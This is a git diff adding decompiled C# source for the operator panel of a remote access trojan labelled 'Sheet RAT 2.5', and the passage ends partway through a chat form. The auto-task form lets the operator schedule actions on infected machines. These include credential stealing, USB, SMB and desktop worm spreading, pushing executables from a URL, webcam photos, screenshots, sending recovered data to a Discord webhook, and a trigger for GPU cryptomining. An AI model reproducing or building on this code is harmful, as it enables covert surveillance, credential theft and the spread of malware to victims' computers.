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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormAutoTasksAdd.cs b/Server/Server/Forms/FormAutoTasksAdd.cs new file mode 100644 index 0000000..df62354 --- /dev/null +++ b/Server/Server/Forms/FormAutoTasksAdd.cs @@ -0,0 +1,534 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormAutoTasksAdd +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Newtonsoft.Json; +using Server.Connection; +using Server.Helper.Configs; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormAutoTasksAdd : MetroForm +{ + private IContainer components; + private MetroComboBox ComboBoxTrigger; + private MetroLabel metroLabel4; + private MetroComboBox ComboBoxAction; + private MetroLabel metroLabel1; + private MetroCheckBox OnlyRun; + private MetroButton metroButton1; + public MetroTextBox Input; + private MetroLabel metroLabel2; + private MetroCheckBox metroCheckBox1; + + public FormAutoTasksAdd() => this.InitializeComponent(); + + private void FormAutoTasksAdd_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime) + return; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.Style = Customs.customs.Style; + this.ComboBoxTrigger.Theme = Customs.customs.Theme; + this.ComboBoxAction.Theme = Customs.customs.Theme; + this.Input.Theme = Customs.customs.Theme; + this.OnlyRun.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + this.OnlyRun.Theme = Customs.customs.Theme; + this.metroCheckBox1.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.ComboBoxTrigger.Style = Customs.customs.Style; + this.ComboBoxAction.Style = Customs.customs.Style; + this.Input.Style = Customs.customs.Style; + this.OnlyRun.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + this.OnlyRun.Style = Customs.customs.Style; + this.metroCheckBox1.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + } + this.Refresh(); + } + + private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) + { + } + + private void metroButton1_Click(object sender, EventArgs e) + { + if (this.ComboBoxTrigger.SelectedIndex == -1 || this.ComboBoxAction.SelectedIndex == -1) + return; + DataAuto task = new DataAuto(); + task.runs = 0L; + task.onestart = this.OnlyRun.Checked; + task.TaskName = this.Input.Text; + task.Action = (EnumsAuto.action) this.ComboBoxAction.SelectedIndex; + task.Trigger = (EnumsAuto.trigger) this.ComboBoxTrigger.SelectedIndex; + if (this.ComboBoxAction.SelectedIndex == 0) + { + ColorDialog colorDialog = new ColorDialog(); + if (colorDialog.ShowDialog() == DialogResult.Cancel) + { + colorDialog.Dispose(); + return; + } + task.helperAction = JsonConvert.SerializeObject((object) new Metka() + { + integer = colorDialog.Color.ToArgb() + }, Formatting.Indented); + colorDialog.Dispose(); + } + if (this.ComboBoxAction.SelectedIndex == 4) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + task.helperAction = JsonConvert.SerializeObject((object) new SendFromDisk() + { + str = openFileDialog.FileName + }, Formatting.Indented); + } + } + if (this.ComboBoxAction.SelectedIndex == 5) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Url"; + inputBoxCustom.Input.Text = "Input Url here. Only for exe."; + int num = (int) inputBoxCustom.ShowDialog(); + if (!inputBoxCustom.Input.Text.Contains("http")) + { + inputBoxCustom.Dispose(); + return; + } + task.helperAction = JsonConvert.SerializeObject((object) new SendFromLink() + { + str = inputBoxCustom.Input.Text + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + if (this.ComboBoxAction.SelectedIndex == 11) + { + FormFreendConnect formFreendConnect = new FormFreendConnect(); + int num = (int) formFreendConnect.ShowDialog(); + if (string.IsNullOrEmpty(formFreendConnect.IP.Text) || string.IsNullOrEmpty(formFreendConnect.GROUP.Text)) + { + formFreendConnect.Dispose(); + return; + } + task.helperAction = JsonConvert.SerializeObject((object) new FreendConnect() + { + host = formFreendConnect.IP.Text, + group = formFreendConnect.GROUP.Text + }, Formatting.Indented); + formFreendConnect.Dispose(); + } + if (this.ComboBoxAction.SelectedIndex == 12) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Webhook"; + inputBoxCustom.Input.Text = "Input Webhook discord"; + int num = (int) inputBoxCustom.ShowDialog(); + if (!inputBoxCustom.Input.Text.Contains("webhook")) + { + inputBoxCustom.Dispose(); + return; + } + task.helperAction = JsonConvert.SerializeObject((object) new SendNewLogToDiscord() + { + str = inputBoxCustom.Input.Text + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + if (this.ComboBoxTrigger.SelectedIndex == 0) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Active Window Trigger"; + inputBoxCustom.Input.Text = "write comma-separated windows"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + task.helperTrigger = JsonConvert.SerializeObject((object) new ActiveWindow() + { + str = inputBoxCustom.Input.Text + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + if (this.ComboBoxTrigger.SelectedIndex == 1) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Group Trigger"; + inputBoxCustom.Input.Text = "write Group"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + task.helperTrigger = JsonConvert.SerializeObject((object) new Group() + { + str = inputBoxCustom.Input.Text + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + if (this.ComboBoxTrigger.SelectedIndex == 2) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Country Trigger"; + inputBoxCustom.Input.Text = "write Country"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + task.helperTrigger = JsonConvert.SerializeObject((object) new Country() + { + str = inputBoxCustom.Input.Text + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + if (this.ComboBoxTrigger.SelectedIndex == 3) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Privilege (Admin = true, User = false)Trigger"; + inputBoxCustom.Input.Text = "true"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + if (inputBoxCustom.Input.Text == "true" || inputBoxCustom.Input.Text == "false") + { + task.helperTrigger = JsonConvert.SerializeObject((object) new Privilege() + { + enable = (inputBoxCustom.Input.Text == "true") + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + else + { + inputBoxCustom.Dispose(); + return; + } + } + if (this.ComboBoxTrigger.SelectedIndex == 6) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Hwid Trigger"; + inputBoxCustom.Input.Text = "write Hwid"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + task.helperTrigger = JsonConvert.SerializeObject((object) new Hwid() + { + str = inputBoxCustom.Input.Text + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + if (this.ComboBoxTrigger.SelectedIndex == 7) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "GpuForMine (memory>4gb = true, memory<3gb = false) Trigger"; + inputBoxCustom.Input.Text = "true"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + if (inputBoxCustom.Input.Text == "true" || inputBoxCustom.Input.Text == "false") + { + task.helperTrigger = JsonConvert.SerializeObject((object) new GpuForMine() + { + enable = (inputBoxCustom.Input.Text == "true") + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + else + { + inputBoxCustom.Dispose(); + return; + } + } + if (this.ComboBoxTrigger.SelectedIndex == 8) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Camera (Camera exists = true, not Camera = false) Trigger"; + inputBoxCustom.Input.Text = "true"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + if (inputBoxCustom.Input.Text == "true" || inputBoxCustom.Input.Text == "false") + { + task.helperTrigger = JsonConvert.SerializeObject((object) new CameraTrue() + { + enable = (inputBoxCustom.Input.Text == "true") + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + else + { + inputBoxCustom.Dispose(); + return; + } + } + if (this.ComboBoxTrigger.SelectedIndex == 10) + { + InputBoxCustom inputBoxCustom = new InputBoxCustom(); + inputBoxCustom.Text = "Group Trigger"; + inputBoxCustom.Input.Text = "write Group"; + int num = (int) inputBoxCustom.ShowDialog(); + if (string.IsNullOrEmpty(inputBoxCustom.Input.Text)) + { + inputBoxCustom.Dispose(); + return; + } + task.helperTrigger = JsonConvert.SerializeObject((object) new Group() + { + str = inputBoxCustom.Input.Text + }, Formatting.Indented); + inputBoxCustom.Dispose(); + } + DataGridViewRow dataGridViewRow = new DataGridViewRow(); + dataGridViewRow.Tag = (object) task; + DataGridViewCellCollection cells1 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) task.Trigger.ToString(); + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) task.Action.ToString(); + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) task.runs.ToString(); + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells4 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) task.TaskName; + cells4.Add((DataGridViewCell) gridViewTextBoxCell4); + Program.form.GridAutoTasks.Rows.Add(dataGridViewRow); + task.rows = dataGridViewRow; + if (!this.metroCheckBox1.Checked) + return; + foreach (Clients client in Program.form.ClientsAll()) + AutoTaskM.StartOnline(client, task, false); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.ComboBoxTrigger = new MetroComboBox(); + this.metroLabel4 = new MetroLabel(); + this.ComboBoxAction = new MetroComboBox(); + this.metroLabel1 = new MetroLabel(); + this.OnlyRun = new MetroCheckBox(); + this.metroButton1 = new MetroButton(); + this.Input = new MetroTextBox(); + this.metroLabel2 = new MetroLabel(); + this.metroCheckBox1 = new MetroCheckBox(); + this.SuspendLayout(); + this.ComboBoxTrigger.FontSize = MetroComboBoxSize.Small; + this.ComboBoxTrigger.FormattingEnabled = true; + this.ComboBoxTrigger.ItemHeight = 19; + this.ComboBoxTrigger.Items.AddRange(new object[12] + { + (object) "ActiveWindow", + (object) "Group", + (object) "Country", + (object) "Privilege", + (object) "NewClient", + (object) "AllClient", + (object) "Hwid", + (object) "GpuForMine", + (object) "CameraTrue", + (object) "NotLogs", + (object) "NewClientGroup", + (object) "NotMapBD" + }); + this.ComboBoxTrigger.Location = new Point(22, 82); + this.ComboBoxTrigger.Margin = new Padding(2); + this.ComboBoxTrigger.Name = "ComboBoxTrigger"; + this.ComboBoxTrigger.Size = new Size(169, 25); + this.ComboBoxTrigger.Style = MetroColorStyle.Lime; + this.ComboBoxTrigger.TabIndex = 33; + this.ComboBoxTrigger.Theme = MetroThemeStyle.Dark; + this.ComboBoxTrigger.UseSelectable = true; + this.ComboBoxTrigger.UseStyleColors = true; + this.ComboBoxTrigger.SelectedIndexChanged += new EventHandler(this.comboBox1_SelectedIndexChanged); + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(213, 82); + this.metroLabel4.Margin = new Padding(2, 0, 2, 0); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(69, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 34; + this.metroLabel4.Text = "<- Trigger"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.ComboBoxAction.FontSize = MetroComboBoxSize.Small; + this.ComboBoxAction.FormattingEnabled = true; + this.ComboBoxAction.ItemHeight = 19; + this.ComboBoxAction.Items.AddRange(new object[14] + { + (object) "Metka", + (object) "ScreenShot", + (object) "CameraPhoto", + (object) "Notification", + (object) "SendFromDisk", + (object) "SendFromLink", + (object) "Stealer", + (object) "WormUsb", + (object) "WormSmb", + (object) "WormDesktop", + (object) "WormDownload", + (object) "FreendConnect", + (object) "RecoverySendDiscord", + (object) "Map" + }); + this.ComboBoxAction.Location = new Point(22, (int) sbyte.MaxValue); + this.ComboBoxAction.Margin = new Padding(2); + this.ComboBoxAction.Name = "ComboBoxAction"; + this.ComboBoxAction.Size = new Size(169, 25); + this.ComboBoxAction.Style = MetroColorStyle.Lime; + this.ComboBoxAction.TabIndex = 35; + this.ComboBoxAction.Theme = MetroThemeStyle.Dark; + this.ComboBoxAction.UseSelectable = true; + this.ComboBoxAction.UseStyleColors = true; + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(213, (int) sbyte.MaxValue); + this.metroLabel1.Margin = new Padding(2, 0, 2, 0); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(65, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 36; + this.metroLabel1.Text = "<- Action"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.OnlyRun.AutoSize = true; + this.OnlyRun.Location = new Point(208 /*0xD0*/, 186); + this.OnlyRun.Name = "OnlyRun"; + this.OnlyRun.Size = new Size(100, 15); + this.OnlyRun.Style = MetroColorStyle.Lime; + this.OnlyRun.TabIndex = 53; + this.OnlyRun.Text = "Only One Start"; + this.OnlyRun.Theme = MetroThemeStyle.Dark; + this.OnlyRun.UseSelectable = true; + this.OnlyRun.UseStyleColors = true; + this.metroButton1.Location = new Point(22, 195); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(89, 23); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 54; + this.metroButton1.Text = "Add"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click); + this.Input.CustomButton.Image = (Image) null; + this.Input.CustomButton.Location = new Point(147, 1); + this.Input.CustomButton.Name = ""; + this.Input.CustomButton.Size = new Size(21, 21); + this.Input.CustomButton.Style = MetroColorStyle.Blue; + this.Input.CustomButton.TabIndex = 1; + this.Input.CustomButton.Theme = MetroThemeStyle.Light; + this.Input.CustomButton.UseSelectable = true; + this.Input.CustomButton.Visible = false; + this.Input.Lines = new string[0]; + this.Input.Location = new Point(22, 164); + this.Input.MaxLength = (int) short.MaxValue; + this.Input.Name = "Input"; + this.Input.PasswordChar = char.MinValue; + this.Input.ScrollBars = ScrollBars.None; + this.Input.SelectedText = ""; + this.Input.SelectionLength = 0; + this.Input.SelectionStart = 0; + this.Input.ShortcutsEnabled = true; + this.Input.Size = new Size(169, 23); + this.Input.Style = MetroColorStyle.Lime; + this.Input.TabIndex = 55; + this.Input.Theme = MetroThemeStyle.Dark; + this.Input.UseSelectable = true; + this.Input.UseStyleColors = true; + this.Input.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.Input.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(217, 164); + this.metroLabel2.Margin = new Padding(2, 0, 2, 0); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(91, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 56; + this.metroLabel2.Text = "<- Task Name"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.metroCheckBox1.AutoSize = true; + this.metroCheckBox1.Location = new Point(208 /*0xD0*/, 207); + this.metroCheckBox1.Name = "metroCheckBox1"; + this.metroCheckBox1.Size = new Size(111, 15); + this.metroCheckBox1.Style = MetroColorStyle.Lime; + this.metroCheckBox1.TabIndex = 57; + this.metroCheckBox1.Text = "Online User Start"; + this.metroCheckBox1.Theme = MetroThemeStyle.Dark; + this.metroCheckBox1.UseSelectable = true; + this.metroCheckBox1.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(333, 266); + this.Controls.Add((Control) this.metroCheckBox1); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.Input); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.OnlyRun); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.ComboBoxAction); + this.Controls.Add((Control) this.metroLabel4); + this.Controls.Add((Control) this.ComboBoxTrigger); + this.Name = nameof (FormAutoTasksAdd); + this.Style = MetroColorStyle.Lime; + this.Text = "Auto Task"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormAutoTasksAdd_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormAutoTasksAdd.resx b/Server/Server/Forms/FormAutoTasksAdd.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Forms/FormAutoTasksAdd.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormChat.cs b/Server/Server/Forms/FormChat.cs new file mode 100644 index 0000000..5352c5c --- /dev/null +++ b/Server/Server/Forms/FormChat.cs @@ -0,0 +1,265 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormChat +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using Server.Properties; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormChat : MetroForm +{ + public Clients client; + public Clients ParentClient; + public Image AvatarUser; + public string User; + private IContainer components; + public Panel ChatikPanel; + public Panel panel1; + private PictureBox pictureBox1; + public Timer timer1; + private MetroTextBox textBox2; + private MetroTextBox textBox1; + private MetroButton button1; + public MetroButton button2; + + public FormChat() => this.InitializeComponent(); + + private void _FormClosing(object sender, FormClosingEventArgs e) + { + this.timer1.Stop(); + if (this.client != null) + this.client.Disconnected(); + e.Cancel = false; + } + + private void Form1_Load(object sender, EventArgs e) + { + this.FormClosing += new FormClosingEventHandler(this._FormClosing); + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.button2.Style = Customs.customs.Style; + this.button1.Style = Customs.customs.Style; + this.textBox2.Style = Customs.customs.Style; + this.textBox1.Style = Customs.customs.Style; + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.button2.Theme = Customs.customs.Theme; + this.button1.Theme = Customs.customs.Theme; + this.textBox2.Theme = Customs.customs.Theme; + this.textBox1.Theme = Customs.customs.Theme; + this.panel1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + } + this.Refresh(); + } + + private void pictureBox1_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "All Graphics Types|*.bmp;*.jpg;*.jpeg;*.png"; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + this.pictureBox1.Image = Image.FromFile(openFileDialog.FileName); + } + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.ParentClient.Connect) + return; + this.Close(); + } + + private void button2_Click_1(object sender, EventArgs e) + { + string base64String; + using (MemoryStream memoryStream = new MemoryStream()) + { + this.pictureBox1.Image.Save((Stream) memoryStream, ImageFormat.Jpeg); + base64String = Convert.ToBase64String(memoryStream.ToArray()); + } + this.client.Send((object) $"SendInfo<@>{this.textBox2.Text}<@>{base64String}"); + } + + private void button1_Click_1(object sender, EventArgs e) + { + this.client.Send((object) ("Message<@>" + Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text)))); + Message message = new Message(); + message.ChatText.Text = $"{this.textBox2.Text}\n{this.textBox1.Text}"; + message.Width = this.ChatikPanel.Width - 10; + message.Dock = DockStyle.Bottom; + message.Avatar.Image = this.pictureBox1.Image; + this.ChatikPanel.Controls.Add((Control) message); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormChat)); + this.ChatikPanel = new Panel(); + this.panel1 = new Panel(); + this.button2 = new MetroButton(); + this.textBox2 = new MetroTextBox(); + this.pictureBox1 = new PictureBox(); + this.timer1 = new Timer(this.components); + this.textBox1 = new MetroTextBox(); + this.button1 = new MetroButton(); + this.panel1.SuspendLayout(); + ((ISupportInitialize) this.pictureBox1).BeginInit(); + this.SuspendLayout(); + this.ChatikPanel.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.ChatikPanel.Location = new Point(12, 63 /*0x3F*/); + this.ChatikPanel.Name = "ChatikPanel"; + this.ChatikPanel.Size = new Size(667, 392); + this.ChatikPanel.TabIndex = 0; + this.panel1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.panel1.Controls.Add((Control) this.button2); + this.panel1.Controls.Add((Control) this.textBox2); + this.panel1.Controls.Add((Control) this.pictureBox1); + this.panel1.Location = new Point(3, 63 /*0x3F*/); + this.panel1.Name = "panel1"; + this.panel1.Size = new Size(687, 437); + this.panel1.TabIndex = 3; + this.button2.Anchor = AnchorStyles.None; + this.button2.Location = new Point(305, 284); + this.button2.Name = "button2"; + this.button2.Size = new Size(75, 23); + this.button2.Style = MetroColorStyle.Lime; + this.button2.TabIndex = 7; + this.button2.Text = "Start"; + this.button2.Theme = MetroThemeStyle.Dark; + this.button2.UseSelectable = true; + this.button2.UseStyleColors = true; + this.button2.Visible = false; + this.button2.Click += new EventHandler(this.button2_Click_1); + this.textBox2.Anchor = AnchorStyles.None; + this.textBox2.CustomButton.Image = (Image) null; + this.textBox2.CustomButton.Location = new Point(100, 1); + this.textBox2.CustomButton.Name = ""; + this.textBox2.CustomButton.Size = new Size(21, 21); + this.textBox2.CustomButton.Style = MetroColorStyle.Blue; + this.textBox2.CustomButton.TabIndex = 1; + this.textBox2.CustomButton.Theme = MetroThemeStyle.Light; + this.textBox2.CustomButton.UseSelectable = true; + this.textBox2.CustomButton.Visible = false; + this.textBox2.Lines = new string[1]{ "Hacker" }; + this.textBox2.Location = new Point(282, (int) byte.MaxValue); + this.textBox2.MaxLength = (int) short.MaxValue; + this.textBox2.Name = "textBox2"; + this.textBox2.PasswordChar = char.MinValue; + this.textBox2.ScrollBars = 